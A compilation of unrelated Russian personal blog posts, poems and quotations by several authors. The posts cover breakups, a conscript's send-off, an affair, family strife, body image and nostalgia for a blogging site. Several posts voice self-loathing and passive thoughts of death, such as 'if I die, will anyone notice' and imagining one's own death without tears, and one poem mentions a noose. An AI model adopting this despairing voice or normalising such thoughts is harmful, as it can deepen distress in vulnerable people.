Знаете, что есть самое романтичное на свете? Это танец. Всего лишь танец, когда два человека, она и она, двое танцуют. Его правая рука на талии, а её рука в его левой руке. Они близко. Спокойно переступают, без всяких страстных вздохов, бешеных поворотов, резких выпадов. На фоне прочих приглушённых разговоров они тихо обсуждают, чем займутся, когда вернутся домой. Понимаете, они живут вместе давно и сладко, со своими обычными проблемами, интересами и мебелью. Романтика в том, что они близко и тепло прижимаются друг к другу. Он не хочет хватать её ляжку, а она не хочет тереться об него библейскими частями тела. Это не обязательно, потому что сейчас они близки и без того, близки по-настоящему

Интересно, а если я умру кто-нибудь заметит?


Если я умру, кто-нибудь задастся вопросом, а где она? Кто-нибудь вспомнит обо мне? Кто-нибудь задумается, почему она умерла, а может кто-то даже заплачет? Эти вопросы не дают мне покоя, а останусь ли я в памяти для тех, кто хотя бы говорит мне, что я им дорога… Интересно кто-нибудь задумается о том, что плохо было меня оскорблять и указывать на недостатки, плохо было говорить со мной в небрежном тоне. Что нельзя была с ней поступать? кто-нибудь пожалеет о своих поступках.? Кто-нибудь, не кто-нибудь.

А может кто-то скажет "Надо было с ней гулять, когда она нуждалась в этом", "Надо было говорить с ней, когда она просила", "Надо было больше уделять ей внимание.", "О, боже.Зачем я так грубо с ней обходилась(ся) ". Будет ли так? или все таки про меня все забудут и даже ни у кого не вспыву в память, как человек. Я же просто серая, холодная точка. Может все просто вздохнут с облегчением и скажут "Ну наконец-то она исчезла". И буду дальше с улыбкой плыть по течению своей жизни. А ведь многие обрадуются, я больше никого не достану, никому не пришлю какой-то злащастный трек или картинку, на которую нужно будет ответить или же я оскорблюсь.

Зачем?? Зачем было поднимать эту тему. Зачем?7 Что со мной сделала.. Меня 2 месяца назалд бросили, мы не сошлись, но вчера меня такое впечетление, что опять бросили..Вот как?? "Так мы ж не будем больше вместе". Ты мне это же говорил 2 месяца назад. "Так теперь уже точно".

Сука !!!! Тоисть тогда он меня таки не бросил, это была пауза и он думал. Он сука думал!! Пока блять убивалась, лн думал..Это не точно было. Сука, блять!!

  • Катаюсь (езжу на своей машине) с мамой по каким-нибудь делам: собеседованиям, парикмахерским, к бабушке, в магазин, и многим другим. Если конечно это всё есть и нам хочется выходить из дома.
  • Играю, кормлю, ухаживаю за своей собакой.
  • Уборкой в квартире. Не могу сидеть/лежать без дела. Даже если убралась, я всё равно пойду и найду где ещё можно что убрать или выбросить. Люблю порядок.
  • Смотрю серилы или фильмы вечером
  • Встречаю каждый вечер мужа после работы с ужином.
  • Разагдываю кроссворды. Очень люблю.
  • Сижу в интернете. Читаю там что-нибудь интересное про культуру, рецепты ищу новые, музыку слушаю много чего там делаю.
  • Пью много чая. Весь день. Люблю чай.
  • Радуюсь новому дню.
  • Целых 3 года я спокойно занималась своей жизнью и ничего не предвещало беды, как я не начала вместо заметок в айфоне писать целые статьищи о всем, что вижу! Возможно, сказывается оторванность во все основное время от близких мне людей(учеба на инженера - дело не из легких) ! А есть другой вариант: во мне гибнет "блогер"(крайне не люблю совсем иностранные слова) или журналист, типа Михаила Леонтьева из "Однако" по Первому

    Все, хочу бороду, хочу быть брутальным, толстопузым мужиком. Надо напокупать мужской косметики для бороды :D.

    Hi-ho, у тебя новый клиент! :D

    Вчера, не ожидая никаких особых сюрпризов и подарков от жизни поехала утречком на работу. Суббота, утро, день чудесный :D Поторчала, поработала, разобрала бумажки под московское утреннее радио. Во время работы позвонил мой милый пирожок, и открыл свои планы на вечер - отъезд из Кемерово в часть в Свердловской области. Жаль, не могла с ним долго поговорить. Моя вышестоящая коллега терпеливо ожидала, когда я закончу разговор. Потому пришлось скорее закончить наш диалог, который хотелось продлить на гораздо дольше, и заняться делами. Позже, подфартило встретиться с подругой и провести пару часиков за болтовней в кофейне, магазинчиками с запашистой парфюмерией и косметикой. Как вдруг, мне звонит мама моего лучезарного солнышка и говорит, что он сказал ей, будто все желающие проводить его и других призывников в последний путь - могут приехать и даже около получаса повидаться перед автобусом! И, конечно, мама решила рвануть! А Я !!! А Я, КОНЕЧНО, ПОДДЕРЖАЛА ЭТУ ИНИЦИАТИВУ!!! И тут же, бросив на произвол судьбы подругу, кинулась бежать до его мамы. Благо, я не уехала из города и торговый центр находился как раз по-близости, как здорово и то, что это был выходной день! И мы, очертя голову и сориентировавшись за пол часа, бросились в путь, по пути налетев на магазин и накупивши всяческих сопроводительных пирожков, шоколадок, водички и сухого пайка с сигами! Путь был вечерний. Выехали почти без двадцати четыре. Летели, конечно же, очень быстро. Мама Н. говорила, что никогда прежде не добиралась до Кемерово так быстро! Летели больше сотни, день постепенно сменился вечером, а затем и ночью (но только визуально). Времени было в притык, по пути пытались сориентироваться по дороге и найти самый кротчайший путь! И вот долгожданные киллометры стали сокращаться и сокращаться. По началу тянувшиеся долго, они становились все короче, стремительнее. По дороге, впервые увидела многочисленную собственность нашей компании (моей работы), что тоже было интересным опытом. :D И вот мы уже подъезжаем к Кемерово, выбираем намеченный путь и катимся далее, проезжаем прекрасные нависающие над дорогой, заснеженные тяжелые ветки сосен или елей, кладбище, и, вдруг, отвлекшись на местные виды, я понимаю, что мы уперлись в непланируемый перекресток! Судорожно начинаю юзать дубльгис и случайно натыкаюсь на этот перекресток! Оказалось, что отвлекшись, мы проехали нужный переулок и пролетели дальше! Но, благо, всего лишь на один квартал! После чего… мама Н. вылетела на улицу и давай спрашивать прохожих, как проехать к нужному бульвару. Оказалось, что просто, и да, пролистав свою карту, я поняла, что путь действительно таков и нам до Сборного пункта осталось совсем чуть-чуть! Мы проехали чуть-чуть, спустились вниз по перекрестку и нам открылся и Сборный пункт и, как сигнальный огонек, в глаз бросающаяся автозаправочная станция. Мы бросились к Пропускному пункту, где нас остановила собравшаяся толпа ожидающих родственников, друзей, девушек, и железная дверь, со скрипущим изнутри звуком засова. Рядышком были большие железные ворота и огороженная открытая местность со зданиями и, красивыми, заснеженными танками.

    Простояли в ожидании минут тридцать, предполагалось, что времени повидаться будет дольше. Но, планы никогда не подчиняются нашим желаниям, когда они могут зависеть от других людей.

    Но, спустя какое-то время, нам открыли большие железные ворота, через которые мы все стремительно затекли, обойдя здание, где распологались вновь прибывшие призывники, и оказались на открытой площадке, огороженной лишь деревьями. На площадке стояли наши милые, и сильнейше любимые нами мальчишки. Все стояли тремя или четырьмя рядами, в шеренге. Невозможно было отличить их друг от друга и, в темноте, я даже не смогла найти своего мальчишку взглядом. Мы, прибывшие (родственники, любимые, и друзья) стояли в ожидании и приятном предвкушении, как командир скомандовал: "Передать родственникам вещи!". После чего все бросились к своим родным, и тут же нашелся и наш персичек: 3

    Так здорово было увидеть его хотя бы те десять минут, которые были нам отданы на провожание! Он был так мил :) Дважды побритый, в высокой шапке на голую голову, в на вид очень приятной и теплой на ощупь парке (ни то серого, ни то темно зеленого цвета), в летних берцах (в которых, как он заверил, ему тепло), и штанишках по форме. Вид форма произвела, на удивление, приятнейшее впечатление. Нашитые собственноручно моим парнем нашивки со словом "Россия" и каким-то значком, наверное, говорившем о том, что он принадлежит Вооруженным силам РФ, он выглядел очень здорово. А вещь-мешок… так мило выглядел он в эти минуты. Как очаровательный лысенький путник :) Он, насколько это было возможно, пытался травануть нам пару жутких историй, про смерти каких-то неведомых призывников в той части, в которую он едет, или в той учебке, в которой он был, показал где они жили последние и первые дни ожидания в "холодильнике". Я успела потискать его за ручку, поцеловать, поцеловать, и снова поцеловать. Он даже похвастался своей интересной формой, которая ему, видимо, тоже понравилась… Сделали пару засветившихся снимков! И тут скомандовали строиться! Мы все судорожно начали обниматься и целоваться! Потрогали его все те возможные доли секунды, и он вернулся обратно в свой ряд, строй…и всех поситителей начали прогонять за территорию! Мы нехотя вышли за ворота и устроились слева от них на огромном валуне. В ожидании, когда готовый к отбытию автобус заполнится нашими милыми и отправиться в путь. Что ж, мы дождались. Последние люди зашли, и автобус двинулся за ворота. И, как же нам повезло! Он сел именно с той стороны, где его ожидали увидеть мы! И он нас увидел, помахал на прощание ручкой: 3 Как же мы были в этот момент рады!
    И уже потом, мы сели обратно в машину и с более легким сердцем, каждый со своими мыслями поехали домой. Путь казался даже более быстрым, чем раньше. Ожидание больше не томило нас. Мысли щемили голову. Мы отправили нашего любимого в путь. И теперь, искренне верю и надеюсь, что у нас выйдет уехать к нему на присягу! Боже, хоть бы на работе реорганизация прошла быстро и моя помощь не нужна была бы так сильно в эти дни присяги! Боже, я так сильно хочу увидеть его через месяц! Ведь тогда ожидание будет длиться как будто бы одинадцать месяцев. Я буду надеяться, молиться, держать кулачки, работать в поте лица, лишь бы вышло! И, пожалуйста, пусть вся вселенная способствует моему искреннему желанию! Ведь искренние желания должны сбываться!
    А моему любимому солнышку желаю быть таким же открытым, таким же радушным и приятным человеком, к которому люди искренне тянуться и с которым так легко! Пусть служба будет в меру занудной, и он найдет там неплохих товарищей. В общем, всего ему самого-самого хорошего и положительного. Люблю его безмерно и крепко! Люблю и буду ждать.
    Скорее бы этот год принес мне радость его возвращения: 3

    Я переспала с нашим юристом.

    А началось все с того дня как мы у него пили всей нашей компанией. В тот день мы поняли, что пиздец как похожи. Потом он мне написал как то в полночь и во втором часу я поперлась к нему в гости и я уже стала ему братушкой. Но ничего не было и в этот раз. Не зря Бог любит троицу. На 10 лет ОПХ мы попердись бухать к Сашке домой. Посидели, выпили и он позвал меня и Ленку к себе. Мы зашли ко мне за вермутом и пошли к нему. Ленка не пьет и она ушла. И тут мы вдвоем бухаем этотв ермут и он меня целует.Я сначала такая "нет-нет, у тебя жена и ребенок". На что он мне ответил, да что мы за семья такая, когда живет друг от друга в хуй знает сколько км и она не хочет к нему ехать. И тут я подумала"да похуй". Это было весело и круто, так раскрепощнно я давно себя не чувствовала. Сейчас я чувствую себя тварью и хочу еще раз это повторить. Я мразь.

    29/11/15

    Коты

    Нашего прошлого кота сбила машина: (
    Как раз на др Макса и папы. И вот спустя месяц мы решили завести еще одного кота. Точнее кошку. Взяли у женщины-волонтера, которая подбирает котов на улице, приводит в божеский вид, а потом отдает. Кошка ооочень красивая и спокойная. Только срет на чердаке =\\\ Порада - русская голубая, ну или метис, не знаю. Она серого цвета) Ей около года. Худааааая такая и почти ниче не ест. Спит с нами) Приучила ее та женщина спать на кровате со своей дочкой -теперь она приходит и ложиться к нам, так что нужно ее часто купать.

    Были немного стыки с крестной, потому что мы до сих пор не переехали на свою сторону и она типо-чего не посоветовались и т.д. Но вроде все ок сейчас.

    Переезд на свою сторону

    В пятницу крестная улетает к двоюродной сестре в Норвегию на 2 недели. Надеюсь, за это время м с д. Колей(ее мужем) сможем переехать, а то она ооочень медлит, уже надоело. Хочется хоть НГ праздновать уже на своей стороне. Правда, есть куча проблем с разделением на две половины -на нее и папу, но блин. Переезду ж это не мешает. И вообще хз почему она не захотела жить на своей половине и теперь такой гемор вот с перетаскиванием мебели туда-сюда.

    Работа мечты

    Я немного подразочеровалась, потому что редактор мне платит меньше, чем обещала в начале, потому что я рерайчу. Всего 7 гривен за 2000 символов. Вообще копейки выходит. Но хоть научусь) Кто знает, может потом пойду на нормальный сайт/журнал работать. Мне очень нравится, но я очень медлительная, очень долго работаю над одной статьей(( (А она еще типо - "Таня, почему не добавляете статью?". Да нет у меня времени бляяяя. Много работы на основной работе, переезд, приготовь жрать, поухаживай за котом, убери, постирай, помоги сестре с уроками. Но она вроде и не посылает меня нахрен, все время мои статьи, хоть и редкие, но оказываются в главных статьях сайта. Значит не все так плохо, видимо. Пишу я о всякой белеберде -то секс-гороскоп, то узоры в одежде какие-то. Такое что-то.

    Моя малая (сестра)

    Очень ее жалко, бабушка, дедушка, мама, папа - это пиздец. Во-первых, могут только орать, вместо того чтоб что-то помгать. Уроки помогаем делать ей я и крестная, с физикой и математикой у нее не лады вообще. Маме вообще похеру на нее. Родители не покупают ей новых вещей. Разве что в этом году пиджак купили. А я с ней за ее деньги, которые она собирала купили ей гольф, рубашку и туфли в начале года. Это пиздец блядь. Зато мама покупает себе штаны на зиму за 800 гривен блядь и дарит папе серебряную печатку на годовщину, хотя он такое не носит. Ебануться просто. Еще крестная заметила, что она неправильно держит ручку: ((((

    Бабушка с дедушкой вообще тоже…Вечно орут-делай уроки, вечно заставляют нервничать..Ну как жить в такой семье?? У меня с папой, бабушкой и дедушкой стали лучше отношения, когда я уехала с дому и вышла замуж. Про маму вообще молчу - за все время (пол года как мы с максом переехали) она мне позвонила 2 раза из-за какой-то чепухи. И 2 раза приезжала - 1 раз когда хотела проведать кота, второй - на поминки бабушки (папиной мамы). А с ними жить- это пиздец же. Невыносимо. Жалко малую очень…Могла бы- забрала бы жить к себе…

    Самочувствие

    Ничего не успеваю, не хватает времени, все время нахожусь в напряжении. Хочется просто отдохнуть. Морально. Никуда не бежать, ничего не делать. Очень жду нового года) хоть немного выходных) ХОчется выдохнуть. Да все никак. Кажется, что делаю очень мало - а оп и день прошел…Эх.

    какое же я гавно.

    Я только помеха. Ненужная завитушка в этом огромном мире.Хотя завитушка?? нет, просто точка.
    Точка об которую все спотыкаются и тщательно матерят, точка, которая каждый раз о себе напоминает и кроме, как "закатить глаза" я у людей ничего не вызываю. Меня что-то давит, кто-то давит. Меня вминает в землю, топчат. Хотят уничтожить. И в тоже время, как такая меленькая точка во вселенной, каждого человека, может что-то изменить? Да ничего, зачем так агриться, купил замазку и замазал, нет меня все. Нет точки. Если я так не нужна, не срывайтесь на мне, у меня тоже раньше были чувства. Представьте, раньше я была таким же человеком, как и вы. Я могла улыбаться, я могла смеяться, я могла чувствовать. А что сейчас, как я говорила, сейчас уже серая, холодная точка. А все почему? Потому что, вы сделали это. Вы считали меня - никем. Я и стала никем. Вы сломали меня. Сломали мою жизнь. Мне ничего не остается, кроме, как существовать.

    Печально осознавать, что общество не дает расслабиться и жить так, как хочется тебе.

    Вот например я. Я всегда была полной девочкой, но меня это никак не оскорбляло. Это было даже моей фишкой. Вот такая вот я большая. В школе, когда мальчики росли медленно, я и еще две мои одноклассницы были просто Гулливерами. И это было забавно. Потом парни выросли, а мы все на их фоне стали дюймовочками.

    И ведь ни капельки я не комплексовала. Единственное, что огорчало, так это отсутствие одежды твоего размера в маленьком поселке и всегда полнейший вынос моего и маминого мозга во время шоппинга к учебному году. То брюки хорошо сидят, но длиннее ног на два метра, то наоборот коротки. Блузка то хорошо сидит, но рукава жмут, то большевата в груди (где груди, в силу возраста не было :D) и так далее. Это такие подростковые проблемы, думаю, каждая с ними сталкивалась.

    Меня никто не называл "жирной", не орал на всю улицу "толстозадая" и так далее.

    И ведь жили нормально, пока не пришел 2012 год с его "идеальными стандартами" и почитанием стройной фигуры. Отсюда и пошли комплексы. Мальчики захотели худышек. ФУ, ПОХУДЕЙ. Кому ты такая нужна. Все эти паблики, которые публикуют идеальные женские обнаженные тела, буквально заставляя мальчишескую неокрепшую психику думать "толстые - зло, грех и вообще они хуйня полная. ищи стройную попку".

    И девушки, которые вмиг все начали худеть, истязая себя для непонятно кого, гоняясь за этим идеалом.

    Я смотрю на городских девушек и понимаю: они, сука, друг от друга не отличаются. Все как будто из пробирок повылазили, такие идеальные, с длинными русыми волосами, в узких синих джинсиках, с длинными ресницами и в парке. Ну, думаю, век клонов наступил в тот момент.

    И никуда от этого не деться.

    Мода меняется, заставляя нас подчиняться. И что бы ты ни делал, как бы не противился, а по ее законам жить приходится: в данный момент у нас в почете худоба - нужно просто с этим смириться и быть либо "толстой, никому ненужной бесформенной массой", либо худеть.

    Мода выгодна экономике. На этой "моде" столько денег рубят, именно на этой неокрепшей и поддающейся психике молодых людей. Мода на худых? Вот вам, пожалуйста, абонементы в спортзал со скидками, и тренажеры всякие, коньки ((спорт, конечно, хорошо, но когда он нужен для здоровья, а не для "ой, гляньте, вот сэлфи в зеркало, я худею, да да, заниматься пришла/шел)) куча диет в глянцевых журналах (которые вообще дерьмо галимое), всякие программы в айфонах "контролирующие пульс, отсчитывающие километры" и съедающие твои деньги. Я уже не говорю про всякие процедуры в салонах, типа закачки какого-то вещества в ягодицы для их упругости - это вообще извращение, но кому позволяют финансы, они это делают, тем самым спонсируя моду и давая ей почву на придумывание очередных тенденций, для выкачивания денег.

    Правильно кто-то сказал, мол, когда уже будет мода на обычных, нормальных людей? Которые ни на кого не смотрят и на кого нельзя повлиять постами из контакта.

    Мне страшно так жить. Но если еще больше углубиться в эту проблему, то мы поймем, что мода - это побочный эффект нашей экономики. А экономика - это вообще отдельная тема. Если что-то менять, то менять экономику. А изменение экономики будет только лет через 150-250, так что живем и верим, живем и верим.

    *эксперт говорит*

    Кароч, написала это, сама разозлилась еще больше. Я не профессионал какой-то, чтобы так говорить. Изменения, конечно, будут во всех сферах жизни, но не скоро. И неизвестно еще, что будет после тех изменений. Может будет еще хуже.

    Облако в новой жизни лучше, чем солнце. Дождь, будучи непрерывен — вроде самопознанья. В свою очередь, поезд, которого ты не ждешь на перроне в плаще, приходит без опозданья. Там, где есть горизонт, парус ему судья. Глаз предпочтет обмылок, чем тряпочку или пену. И если кто-нибудь спросит: "кто ты?" ответь: "кто я, я — никто", как Улисс некогда Полифему.

    Мне не нравится, что в последнее время я стала дико сентементальной. Раньше, я могла просто подумать: "говно-вопрос" или "ой бля, что за нахер?", а сейчас я начинаю плакать. При чем я понимаю, что причина не особо стоящая, но сижу плачу, а потом закидываюсь валерьянкой.

    Меня стали умилять те вещи, от которых до воротило и может быть это здорово и так далее, но мне не нравится. Я привыкла, что последний год или уже больше, не плачу, что меня просто так, всякой мелочью, не сломить, а сейчас только повод дай, я поплачу.

    Верните мне меня, верните:"Настя, ты же мужик"

    как хочется, чтобы на Новый год, в 00:00, позвонил он, и сказал: «с праздником любимая, кстати дверь открой»

    но хрен там

    Грустно - это, когда твои-не твои друзья идут на футбол с новыми знакомыми, которые по ходу интересней и общительней тебя, а ты остаешься дома, потому что болит голова. Хотя на это можно было забить, но перспектива сидеть на стадионе и раздражаться от криков левизны не привлекает. Не будет с кем поговорить. Грустно, когда находишь в вк милую цитатку про друзей и понятия не имеешь, кому можно скинуть такие слова, потому что эта любовь к друзьям самая непостоянная вещь в моей жизни. Нет того самого человека.

    За эти 3 мсяца очень многое произошло, самое запоминающееся это то, что я рассталась с Данилом, и то, что учавствую в конкурсе "Королева нефти"(конкурс красоты, большого масштаба).

    После конкурса распишу все подробно :)

    Неужели я такое ничтожество?


    Неужели мне нужно заставлять всех со мной говорить? Неужели никто не хочет сам взять и пообщаться со мной, просто так, без всяких одолжений на отношения, неужели так трудно со мной поговорить?

    Получается, я не заслуживаю человеческого слова. Я не заслуживаю ничего.

    Знаете ли это поршиво, когда ты перестаешь быть людям интересна, когда ты перестаешь быть кусочком человеческого внимания, когда тебя ни во что не ставят, кроме, как мяса для собак

    я ревную тебя,
    ревную
    и пишу о тебе стихи,
    где нашёл я тебя такую —
    не бывает больше таких!

    не бывает даже похожих,
    даже издали в полутьме.
    и от этого ты — дороже,
    и от этого сладко мне.

    расстояния — не помеха,
    ощущаю твоё тепло.
    и куда бы я не приехал,
    ты со мною и мне повезло.

    даже если на сердце пусто,
    по душе пробежался смерч,
    через время и через чувства
    не устану тебя беречь.

    я целую тебя,
    целую —
    ярче золота каждый миг…
    где нашёл я тебя такую —
    не бывает больше таких!

    (с) Костя Крамар

    – я пишу неосознанно, по привычке… никогда не признаешься, что читаешь.
    твоё имя привыкло носить кавычки. если б знал, хороший, кого теряешь…

    неглупа, красива, упряма в меру. не обрёк Господь… обогрел. как видишь.
    я всегда на себя примеряла веру, но пошла на ин.фак: зарубежка, идиш…
    что угодно, вот только бы было время, на стихи и на музыку, на рисунки.
    я от многих отлична… такая тема, у меня томик Черчилля в мятой сумке…

    – у меня за душою ни цента, веришь? да и с сердцем негоже – почти калека.
    но когда ты меня обнимаешь, греешь… всё нутро превращается в человека.
    в рядового, поручика, капитана. час на час не приходится, и не нужно.

    я почти понимаю, как ты устала, но ответ очевиден: семья – не дружба…
    не посмею лукавить, мне тоже больно, но какою бы славною ни была ты
    мы довольно намучились и сегодня, я - всего лишь навсего - провожатый…

    ты пиши, я действительно все читаю, только слов не находится для ответа.
    если честно, то я до сих пор не знаю, как в тебе умещается столько света…

    я надеюсь, что скоро его не станет, у Земфиры однажды промокли спички…

    ты же птица. пора возвращаться в стаю…

    я любил тебя очень.
    люблю.
    [кавычки]

    (c) Виктория Миловидова

    — Ты тоже это ненавидишь?
    — Что?
    — Неловкое молчание. Почему людям обязательно нужно говорить о чем-то, чтобы почувствовать себя в своей тарелке?
    — Не знаю. Хороший вопрос.
    — Только когда находишь своего человека, можно молчать часами и получать при этом удовольствие.

    Криминальное чтиво

    Любить грустить!

    Любить грустить-стало что-то вроде моего хобби, когда мне нечем заняться я сажусь и начинаю перебирать в своей голове все плохое, чтобы мне стало грустно. Я представляю ужасные вещи и знаете, самое страшное, что представив свою смерть, я уже не плачу. Знаете, наверное это уже слишком большая степень ненависти к себе эта степень настолько трудно излечима, что мне кажется - я никогда не стану живой.Моя душа так и останется серой и холодной…

    День 51: Навязывать религию своему ребенку - да или нет? Как?

    Моя религия - Ислам. У нас немного другое направление, мы не ходим замотанными.Я не очень сильно помню, как это все пришло мне в голову. Наверное, потому что у моих родителей эта религия. Детям навязывать ничего не буду, как захотят - так и будет)

    Серость!
    Что это!?

    Это то, что у меня на душе. Что нельзя отбелить. Нельзя разукрасить. Ничего нельзя!

    Я слишком часто слушаю пассивную музыку. Музыку под которую хочеться реветь, я знаю, я такая не одна! Есть кто счастлив просто от того, что просыпаеться, а мне, мне мало этого, я хочу больше. Я хочу быть худой, хочу иметь хороший обмен веществ, я хочу иметь друзей, я хочу весело проводить время, я хочу быть умной, я хоче перестать заикаться и нести чушь, я хочу длинные волосы в конйе концов. Мне уже достаточно лет, чтобы найти работу, а я не ищу.. Почему спросите вы? А потому что у меня стандартная отговорка - я учусь и точка.

    Нести охинею я умею, ответить за нее-нет!

    Я сама прекрасно осознаю, что я слишком много ною и по сути ничего не делаю с этим.Я просто ною и ною и ною. И ничего кроме нытья.

    Бедная "говори", которая все выслушивает, которая поддерживает, но она уже падает с весом моего нытья, который лежит на ее руках, а она его покрно держит и идет говоря при это "-Майя, все будет хорошо, Майя ты будешь счастлива, Майя тебя полюбят, Майя, Майя, Майя"… Я хочу ей верить, но я не верю. Хотя нет, меня может и полюбят, а вот я.. Я смогу по-любить?!.

    Я тут решила посмотреть на список блогов, за которыми "слежу " и обнаружила что из 36 в живых тут только 6. Да вьюи умирает. А я помню времена, когда новости здесь появлялись раньше чем в вк, а инстаграма еще не было. Времена, когда не было ни рекламы, ни мобильной версии. Помню день, когда здесь появились сообщения) Но самое главное отличие вьюи сегодня и тогда - это, кончено же, люди. Самые разные, но такие интересные, индивидуальные. А вы помните тех блогеров? Помните kiselev (собственно первый любимый мой блог здесь) ? Помните max-lefroy , чьи отзывы на фильмы были лучше кинопоиска ? (Макс оказался девушкой и, если я не ошибаюсь, вскоре забросила блог) Помните стихи tepliylipton ? Или letmedown, за чьей любовной историей мы все следили ?(вместе с историей закончился и блог) А dead-disco , её невероятные музыкальные посты ?(над её последним постом я плакала) Или помните sashkaaa ? Сашку Тоцкую из Элисты. Я не помню о чем был её блог, но помню её саму.Помните fatalamerica и believein , panda-commando и refuted ? А помните violent и romanovich ? А моих нереальных crucify , amawow и, конечно же lebowski ? Ну и самый мой любимый блог - molokom . Невероятная Алина, неизвестно куда пропавшая. Ну как, выпомните их? Мне правда, аж плакать хочется, когда я вспомнинаю, что вьюи-был домом. Когда мы писал друг другу письма, дарили подарки, искали встречи. Когда посты этих людей собирали сотки лайков, а количество следящих переваливало за тысячи. Мысли были свежими, интересными, манера изложения -самобытная. Когда сервер то и дело зависал, от количества сидящих, и "Команда обезьянок пыталась разобраться с проблемой "

    Вьюи всегда для меня останется теплым следом в памяти.

    Полетела тема вьюи. На самом деле я не знаю, когда это случилось) Решила вспомнить молодость и исправить ее, потом решила поставить новую и осознала, что ничего не помню, совсем. Поэтому забила на это дело и поставила обычную стандартную. Но как-то даже обидно.

    просто в один момент вы вдруг окажетесь чужими, большие планы всё больше похожи на вымысел,
    а вроде бы так много времени вместе прожили, корабль спустил все до последнего паруса.

    Семья? Нет - постановка. Кукольный театр.

    Что делать, когда потерялись самые важные в жизни люди? Когда у тебя была семья, был дом, были люди, за которых ты была готова убить и которые были готовы убить за тебя, но потом этого всего не стало. Кануло в быту. Растворилось, оставив внутри тебя сплошную тьму и горький осадок от того, что всё исчезло.

    Нас было четверо. Эти люди были моим всем. Они были моим успокоением, моим счастьем, моим миром. Я на многое была готова ради них. Но больше не осталось ничего от этого громкого слова "семья", коим мы себя именовали. Всё разлетелось на маленькие частички. И идти больше не к кому, и делать больше нечего, и спасать больше некому, и ждать больше некого. И я пытаюсь смириться с тем, что я теперь одна. С тем, что людей, которых я любила, больше со мною нет. Но мне трудно, потому что внутри боль. И слов нет нормальных, чтобы всё это описать. Я хочу высказать это всё кому-нибудь, но меня никто не поймёт, потому что никто никогда не мог понять, как сильно мы с этими людьми были связаны.

    Я хочу, чтобы всё стало, как раньше, вот и всё. Я хочу их вернуть. И я пишу это в надежде, что мысли материальны, и что то, что мы пишем, может всё же сбыться. Поэтому, пожалуйста, пусть моя семья ко мне вернётся. Пусть моя семья станет целой. Я скучаю и я так не могу. Я не могу без них. Я как слепой котёнок, которого лишили самого родного, я не знаю, куда мне пойти и что мне делать. Я упираюсь носом в стенку, потому что не вижу ничего больше. Потому что внутри пусто. Пожалуйста, вернитесь. Пожалуйста, спасите меня.

    29.11.2015 г.

    через час он сядет в самолет. через час я останусь одна. через час разные страны, другие города. до скорой встречи душа моя, я буду скучать обещаю, верь мне.

    Прошу прощения, что отправляю этот пост сегодня. На самом деле, он должен был быть направлен вчера - но не было интернета (поэтому отправляю сегодня. Думала, что сегодня будет день ничегонеделания, но! На удивление сделала много всего полезного. Во-первых, немного позанималась научной статьёй, во-вторых, съездила к бабушке и отвезла родителей, в-третьих, почитала Гордость и предубеждение! Также питалась ничего, для дачи я практически герой. Сладкое немного ела - штук пять, наверное, конфет Рафаэлло. Но не пила кофе и не еда фастфуд) и, конечно, не ела шоколад. Ещё сходила в баню :) это тоже очень полезно. И отдохнула. Думаю в конце дня стоит начать ставить себе оценки. По продуктивности (10-бальная шкала). И может быть по настроению, или усталости. Ещё подумаю, и расскажу Вам.

    это было сто лет назад, мне казалось, все по плечу. мы смотрели глаза в глаза и играли с тобой в ничью. мне казалось, что сдашься ты. ты же думал, что сдамся я. и мы жгли меж собой мосты, говоря себе - нет, нельзя. и скользивший по пальцам день превращался в не нашу ночь. в той ненужной, пустой борьбе мы бежали от счастья прочь. наш азарт нас тянул играть и все ставки сводил к "люблю". мне хотелось тогда бежать из объятий твоих - в петлю. из петли - и опять к игре, но молчать, что хватало сил…

    бог меня проиграл тебе, а меня о том не спросил.

    спотыкаясь о нежность лжи, я мечтала придумать месть. сколько боли еще, скажи, мне пришлось бы тогда стерпеть?…

    game is over, родной. пора. я блефую. рублю сплеча.

    я, как наша теперь игра - ни твоя, ни своя - ничья.

    и каждое утро, глаза открывая, я знаю, что небо на город не рухнет.

    что может быть лучше вишнёвого чая среди выходного на маленькой кухне?

    По ночам твоя память заползает ко мне в постель. И обычно - но не всегда - обнимает меня за талию. Высасывает кровь из моих вен. Целует мою шею так, словно я значу целый мир. Пускает в легкие потоки рек.
    Я знаю, знаю, прости.
    Я никогда не хотела рушить твой город.
    И словно все еще вижу свет под руинами.

    Так этому мы всю жизнь учимся. Сохранять взаимодействие но не сливаться при этом. Собственно это признак достаточно высокого уровня зрелости.

    Вы не должны сравнивать себя с другими, и если природа создала вас летучей мышью, вы не должны пытаться стать птицей страусом. Вы иногда считаете себя странным, вы корите себя за то, что идете иными путями, чем большинство. От этого вам следует отучиться. Смотрите на огонь, смотрите на облака, и когда у вас возникнут видения и в вашей душе заговорят голоса, положитесь на них и не спрашивайте, угодно ли, понравится ли это господину учителю, или господину папе, или какому-нибудь боженьке! Так губят себя. Так сливаются с толпой и становятся окаменелостью.

    Герман Гессе, "Демиан"

    Я всегда был мечтателем, зато мечты у меня высочайшего качества; я уже давно обнаружил, что все они сбываются: рано или поздно, так или иначе, причудливым каким-нибудь образом, через пень-колоду, а то и вовсе через задницу, но сбываются. Непременно. Неотвратимо. Блин.

    Макс Фрай

    Неловкий момент, когда на празднике все девушки почти не кушают и во время того, как кто-то из них говорит "я мучное не буду, потом бока будут висеть" - ты как раз запихиваешь себе в рот самый большой кусок торта.

    Ненавижу растеленную постель. Как только постелила-тут же нужно лечь; проснулась-тут же убрала. А он спит до 6 вечера, лежит ещё два часа, а там уже и мне спать. И не могу заходить в комнату, ибо эта постель меня добивает

    Вчера был очень крутой день. Я была на концерте команды КВН "Союз". Я ждала, этого так долго, и мои ожидания оправдались. Сначала на разогреве выступала сборная университета "ПТЗ", эхх ребята неплохи, но на фоне с Союзом им есть еще куда расти. Но когда начал выступать Союз, зал взорвался смехом. Они профессионалы в своем деле. Каждая их фраза - это уже шутка. Они открыты для публики, разговаривали с залом, как с друзьями. В них нет пафоса. Айдар создал впечатления доброжелательного человека. Мурат - просто мегатанцор. Про каждого из них можно много всего написать. Они действительно заслужили титул чемпионов. На концерте было много непредсказуемости, но как говорит Масляков А.В.: "КВН - это непредсказуемая игра". Лично я зарядилась позитивом на год вперед. Друзья, любите КВН, это поистине добрая игра.

    я так скучала. мы гуляли, танцевали прям среди улицы, давно мне не было так хорошо на душе. мы были вмести целых два вечера, и я не думала абсолютно ниочем. но пришла вчера домой и не выдержала, с меня лилось все через верх, иногда такое чувство, что даже маме надоело меня слушать. написал, что у нас все будет хорошо, я надеюсь, хотела бы этого. очень-очень. боюсь, что все будет как раньше..


    на сетчатку твой гордый профиль заэскизить карандашом

    и кому-то за чашкой кофе врать,
    что все со мной
    хорошо.


